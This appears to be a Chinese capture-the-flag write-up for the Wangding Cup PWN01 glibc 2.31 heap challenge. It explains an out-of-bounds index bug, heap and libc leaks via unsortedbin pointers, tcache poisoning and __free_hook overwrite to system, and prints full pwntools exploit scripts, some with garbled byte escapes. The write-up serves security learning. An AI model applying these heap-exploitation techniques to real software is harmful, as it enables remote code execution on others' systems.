web选手入门pwn(20) ——网鼎杯PWN01

admin 2024年11月1日19:45:19评论10 views字数 4786阅读15分57秒阅读模式

给了libc,用2.31-0ubuntu9_amd64做。
保护全开,很漂亮的增删改查

web选手入门pwn(20) ——网鼎杯PWN01

先看增,限制了chunk数量和chunk大小,没法用fastbin。chunk_index/chunk_length,以及ptr(chunk_list)都明明白白的写在bss段,点赞。

web选手入门pwn(20) ——网鼎杯PWN01

删,去除了指针,没有UAF,但是似乎是通过ptr偏移做到的,这儿似乎有点问题。

web选手入门pwn(20) ——网鼎杯PWN01

查,也是通过ptr偏移做到的,那么确定这里有问题。

web选手入门pwn(20) ——网鼎杯PWN01

gdb中调试一下,新增两个chunk

web选手入门pwn(20) ——网鼎杯PWN01

如果删除一个,再新增同样大小的,c0会消失,多一个c2,回收c0原来的地址。

web选手入门pwn(20) ——网鼎杯PWN01

但因为删查是通过ptr偏移做到的,显然,如果能向bss段上写一个完全控制的地址,可以做到任意地址删和任意地址查。
比如bss段上面有got表。

web选手入门pwn(20) ——网鼎杯PWN01

那么show(-18)会怎么样呢?

web选手入门pwn(20) ——网鼎杯PWN01

可惜,只会泄露libc上exit的汇编代码。

web选手入门pwn(20) ——网鼎杯PWN01

因为ptr上储存的是一个地址,而show会打印这个地址上的值,而我们期待的是这个地址上再储存一个地址,这样就有可能泄露libc/heap段。向上的got表显然不符合要求,那么向下有东西吗?通过vmmap发现,向下有heap段。

web选手入门pwn(20) ——网鼎杯PWN01

那么可以利用unsortedbin的fd/bk指向main_arena_N来泄露main_arena_N上的heap地址。

#!/usr/bin/env pythonfrom pwn import *context.log_level = "debug"#sh = process("./pwn")sh = gdb.debug("./pwn","b show_chunk n c")libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6")libc_malloc_hook = libc.sym['__malloc_hook']libc_system = libc.sym['system']libc_free_hook = libc.sym['__free_hook']libc_main_arena = libc_malloc_hook + 0x10libc_main_arena_N = libc_malloc_hook + 0x70print(hex(libc_main_arena_N))#0x555555558060 ptrdef add(size, content="AAAAAAAA"):    sh.recvuntil("choice")    sh.sendline("1")    sh.recvuntil("Size :")    sh.sendline(str(size))    sh.recvuntil("Content :")    sh.send(content)def free(index):    sh.recvuntil("choice")    sh.sendline("2")    sh.recvuntil("Index :")    sh.sendline(str(index))def edit(addr):    sh.recvuntil("choice")    sh.sendline("3")    sh.recvuntil("content :")    sh.sendline(p64(addr))def show(index):    sh.recvuntil("choice")    sh.sendline("4")    sh.recvuntil("Index :")    sh.sendline(str(index))    return sh.recvline()add(0x4f8)add(0xf8)free(0)show(1)sh.interactive()

web选手入门pwn(20) ——网鼎杯PWN01

计算一下(0x55555555b2a0 - 0x555555558060)/8=1608

add(0x4f8)add(0xf8)free(0)show(1608)

成功泄露

web选手入门pwn(20) ——网鼎杯PWN01

开启ALSR试一试

web选手入门pwn(20) ——网鼎杯PWN01

泄露了heap地址,反手再将unsortedbin的fd/bk地址写到一个chunk中。

add(0x4f8)#c0add(0xf8)#c1free(0)show(1608)heap_N = u64(sh.recvuntil("x55x55x55x55")[-6:]+"x00x00")#heap_N = u64(sh.recvuntil("x55")[-6:]+"x00x00")print(hex(heap_N))free(1)add(0xf8,p64(heap_N-1520))#c2show(1768)

web选手入门pwn(20) ——网鼎杯PWN01

可以看到成功泄露libc。

然而这种解法并不能打远程,本地做的时候,bss到heap段的相对位置是固定的,远程时却不一定固定。确切来说,是不一定和本地一样都是1608。而且如果show到一个错误地址,程序会崩溃退出,下次分配heap时,可能有所变化,因此也不能爆破。但这不妨碍这是一个很有意思的非预期解。

正解非常简单,泄露libc和heap只需要利用unsortedbin复用时不清除fd/bk指针就行了。
我们做出双向链表两个unsortedbin

add(0x4f8)#c0add(0x98)#c1add(0x4f8)#c2add(0x98)#c3free(0)free(2)

web选手入门pwn(20) ——网鼎杯PWN01

再add回来,同时将它们的fd全部覆盖成A,就可以轻松泄露libc跟heap。

add(0x4f8)#c4add(0x4f8)#c5show(4)heap_N = u64(sh.recvuntil("x55x55x55x55")[-6:]+"x00x00")#heap_N = u64(sh.recvuntil("x55")[-6:]+"x00x00")print(hex(heap_N))show(5)addr_main_arena_N = u64(sh.recvuntil("x7f")[-6:]+"x00x00")libc_base = addr_main_arena_N - libc_main_arena_Nprint(hex(libc_base))

web选手入门pwn(20) ——网鼎杯PWN01

如何getshell呢,这就要讲一直没提过的改了,其实根本和chunk没关系,就是仅限一次,往任意地址写0xa2c2a。

web选手入门pwn(20) ——网鼎杯PWN01

因为它要写满一个地址,所以是0x000a2c2a,只需要偏移一下,就等于往任意地址写0x00。那么我们可以做几个tcache,然后将fd篡改成unsortedbin上的一块地址,在unsortedbin上做fake chunk,然后就是劫持free_hook那一套了。

做三个tcache(做两个不行)

add(0x98)#c6free(6)free(1)free(3)

web选手入门pwn(20) ——网鼎杯PWN01

然后需要劫持0x55555555bd30的fd。

edit(heap_N+0x50d) #0x55555555bd3d to 0x55555555b700

web选手入门pwn(20) ——网鼎杯PWN01

这样再复用tcache就会用fake chunk 0x55555555b700了,而它正好在c4(0x55555555b290)的范围内,编辑c4(free再add回来),修改0x55555555b700的fd到free_hook(-8为了对齐)。

free(4)add(0x4f8,"A"*0x460+p64(libc_free_hook+libc_base-8))#c7 make fake chunk

web选手入门pwn(20) ——网鼎杯PWN01

add一次,让0x55555555b700的fd(free_hook)进入tcache队列,顺便做/bin/sh堆块。

add(0x98,"/bin/shx00") #c8

web选手入门pwn(20) ——网鼎杯PWN01

再add一次,消耗掉最后一个tcache,下次就只能用free_hook了。

add(0x98) #c9

web选手入门pwn(20) ——网鼎杯PWN01

最后add一次让free_hook成为堆块,劫持free_hook为system

add(0x98,p64(libc_system+libc_base)+p64(libc_system+libc_base)) #c10

web选手入门pwn(20) ——网鼎杯PWN01

最后free前面写了/bin/sh的堆块即可getshellfree(8)

web选手入门pwn(20) ——网鼎杯PWN01

完整exp如下。

#!/usr/bin/env pythonfrom pwn import *context.log_level = "debug"sh = process("./pwn")#sh = gdb.debug("./pwn","b show_chunk n c")libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6")libc_malloc_hook = libc.sym['__malloc_hook']libc_system = libc.sym['system']libc_free_hook = libc.sym['__free_hook']libc_main_arena = libc_malloc_hook + 0x10libc_main_arena_N = libc_malloc_hook + 0x70print(hex(libc_main_arena_N))#0x555555558060 ptrdef add(size, content="AAAAAAAA"):    sh.recvuntil("choice")    sh.sendline("1")    sh.recvuntil("Size :")    sh.sendline(str(size))    sh.recvuntil("Content :")    sh.send(content)def free(index):    sh.recvuntil("choice")    sh.sendline("2")    sh.recvuntil("Index :")    sh.sendline(str(index))def edit(addr):    sh.recvuntil("choice")    sh.sendline("3")    sh.recvuntil("content :")    sh.sendline(p64(addr))def show(index):    sh.recvuntil("choice")    sh.sendline("4")    sh.recvuntil("Index :")    sh.sendline(str(index))    return sh.recvline()add(0x4f8)#c0add(0x98)#c1add(0x4f8)#c2add(0x98)#c3free(0)free(2)add(0x4f8)#c4add(0x4f8)#c5show(4)heap_N = u64(sh.recvuntil("x55x55x55x55")[-6:]+"x00x00")#heap_N = u64(sh.recvuntil("x55")[-6:]+"x00x00")print(hex(heap_N))show(5)addr_main_arena_N = u64(sh.recvuntil("x7f")[-6:]+"x00x00")libc_base = addr_main_arena_N - libc_main_arena_Nprint(hex(libc_base))add(0x98)#c6free(6)free(1)free(3)edit(heap_N+0x50d) #0x55555555bd3d to 0x55555555b700free(4)add(0x4f8,"A"*0x460+p64(libc_free_hook+libc_base-8))#c7 make fake chunkadd(0x98,"/bin/shx00") #c8add(0x98) #c9add(0x98,p64(libc_system+libc_base)+p64(libc_system+libc_base)) #c10free(8)sh.interactive()

原文始发于微信公众号(珂技知识分享):web选手入门pwn(20) ——网鼎杯PWN01

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月1日19:45:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   web选手入门pwn(20) ——网鼎杯PWN01https://cn-sec.com/archives/3345354.html

发表评论

匿名网友 填写信息